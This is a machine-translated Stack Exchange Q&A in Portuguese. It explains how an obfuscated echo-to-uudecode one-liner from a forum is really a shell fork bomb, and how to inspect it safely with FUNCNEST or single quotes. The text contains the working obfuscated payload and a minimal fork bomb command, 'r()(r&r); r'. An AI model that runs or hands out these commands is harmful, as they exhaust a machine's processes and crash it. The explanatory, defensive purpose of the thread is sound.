Questão Como e por que esta sequência de texto é uma bomba bifurcada?


Encontrado em um tabuleiro aleatório:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

De alguma forma, executar isso resulta em um processo de desova infinito que corre solto e tritura a máquina até parar. Eu vejo algo sobre "su" tentando ser executado inúmeras vezes.

..que é estranho, porque eu só esperaria que o texto fosse produzido, não a execução de qualquer coisa.

Executar este texto através de um decodificador on-line só me dá um lote de spew binário:

uudecode result

O que essa confusão de texto realmente está fazendo, e existe uma maneira de "seguramente" visualizá-la?


129


origem


Por que o "su" está sendo executado inúmeras vezes? - Brent Washburne
Um conselho: não corra código de placas aleatórias e seja grato que foi apenas uma bomba. - rr-
Heh Felizmente eu estava em uma VM snapshot feita com o propósito expresso de brincar com lixo possivelmente hostil como este. - Mikey T.K.
Eu sei que isso é fora do tópico, mas é possível mencionar a diretoria e o contexto em que o comando foi mencionado? - Sebi
@Sebi - arquivo.rebeccablacktech.com/g/thread/45564403 - Pikamander2


Respostas:


Primeiro, vamos dar uma olhada no comando inteiro:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Ele contém uma string de aspas duplas que é exibida uudecode. Mas, observe que, dentro da string de aspas duplas, de volta citada corda. Essa string fica executado. A string é:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Se olharmos para o que está nele, vemos três comandos:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Realizando cinta de expansão no comando do meio, temos:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

A primeira linha tenta executar um comando sem sentido em segundo plano. Isso não é importante.

A segunda linha é importante: define uma função r que, quando executado, lança duas cópias de si mesmo. Cada uma dessas cópias, naturalmente, lançaria mais duas cópias. E assim por diante.

A terceira linha é executada r, começando a bomba do garfo.

O resto do código, fora da string entre aspas, é apenas um absurdo para ofuscação.

Como executar o comando com segurança

Esse código pode ser executado com segurança se definirmos o limite no nível de aninhamento da função. Isso pode ser feito com o bash FUNCNEST variável. Aqui, nós configuramos para 2 e isso interrompe a recursão:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

As mensagens de erro acima mostram que (a) os comandos sem sentido rYWdl e Y29j não são encontrados, (b) a bomba do garfo é repetidamente parada pelo FUNCNEST, e (c) a saída de echo não começa com begin e, conseqüentemente, não é uma entrada válida para uudecode.

A garfo bomba na sua forma mais simples

Como seria a bomba do garfo se removêssemos o obscurecimento? Como njzk2 e gerrit sugerem, seria parecido com:

echo "`r()(r&r);r`"

Podemos simplificar isso ainda mais:

r()(r&r); r

Isso consiste em duas declarações: uma define a função fork-bomb r e o segundo corre r.

Todo o outro código, incluindo o tubo para uudecode, estava lá apenas para obscurecimento e misdirection.

A forma original tinha ainda outra camada de misdirection

O OP forneceu um link para a discussão do fórum sobre o qual este código apareceu. Como apresentado lá, o código se parecia com:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Observe um dos primeiros comentários sobre este código:

Eu me apaixonei por isso. Copiado apenas a parte que ecoa e decodifica, mas ainda assim   foi forkbombed

Na forma na placa do chann, um ingênuo pensaria que o problema seria o eval declaração operando na saída de uudecode. Isso levaria a pensar que a remoção eval resolveria o problema. Como vimos acima, isso é falso e perigosamente.


189



Desonesto! Eu nunca pensei em considerar a globalização / expansão do shell no meio da string ecoada. - Mikey T.K.
Eu acho que seria bom notar que uudecode é completamente irrelevante aqui. Por um momento pensei uudecode estava realizando interpolação de strings entre aspas, o que tornaria fundamentalmente inseguro, mas a fork fork acontece antes do início do uudecode. - gerrit
...e estaSenhoras e senhores, é por isso que a segurança em shell scripts é tão difícil. Mesmo coisas totalmente inofensivas podem te matar. (Imagine se esta fosse a entrada do usuário de algum lugar ...) - MathematicalOrchid
@MathematicalOrchid Na verdade, é necessário um esforço não trivial para fazer com que os itens com recuo na entrada do usuário para um script de shell sejam executados. E se você é construindo um script de shell da entrada do usuário, você deve saber melhor do que colocá-lo entre aspas duplas. - Random832
@ njzk2 Você ainda precisa de um &há: echo "`r()(r&r);r`". - gerrit


Para responder a segunda parte da sua pergunta:

... existe uma maneira de "seguramente" visualizá-lo?

Para desarmar esta string, substitua as aspas duplas externas por aspas simples e escape as aspas simples que ocorrem dentro da cadeia. Assim, o shell não irá executar nenhum código, e você está realmente passando tudo direto para uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Outras alternativas são anotadas nos comentários:

kasperd sugeriu:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall sugeriu para usar um editor de texto, cole o conteúdo e passe esse arquivo para uudecode.


10



Alternativamente: tipo uudecode na linha de comando. Pressione Enter. Copie e cole a string a ser decodificada. - kasperd
Outra alternativa: use um editor de texto para salvar o conteúdo em um arquivo. Abra esse arquivo com uudecode. - Jacob Krall
Graças a ambos, observei essas alternativas na resposta. - gerrit
Certifique-se de verificar se a string não é algo como echo "foo`die`bar'`die`'baz" primeiro! Isto é, se tiver algum 'Nesse caso, substituir as aspas por aspas simples não será suficiente. - wchargin


À primeira vista, você pode pensar que saída para o shell nunca será executada. Isto é Ainda é verdade. O problema já está no entrada. O principal truque aqui é o que os programadores chamam operador precedente. Esta é a ordem que o shell tenta processar sua entrada:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Componha a string executando todos os comandos de backticks dentro dela.
  2. Geralmente um comando desconhecido, o que causaria alguma saída como Se 'rYWdl' não for um erro de digitação, você pode usar o comando não encontrado para procurar o pacote que contém… (depende do sistema)
  3. Executa 2. em segundo plano. Você nunca verá uma saída.
  4. Defina a função da bomba de garfo.
  5. Separador de comando.
  6. Execute a bomba do garfo.
  7. Insira o resultado de 6. na String. (Nós nunca viemos aqui)

O erro é pensar que echo seria o primeiro comando a ser executado, uudecode o segundo. Ambos nunca serão alcançados.

Conclusão: Aspas duplas são sempre perigosas no shell.


5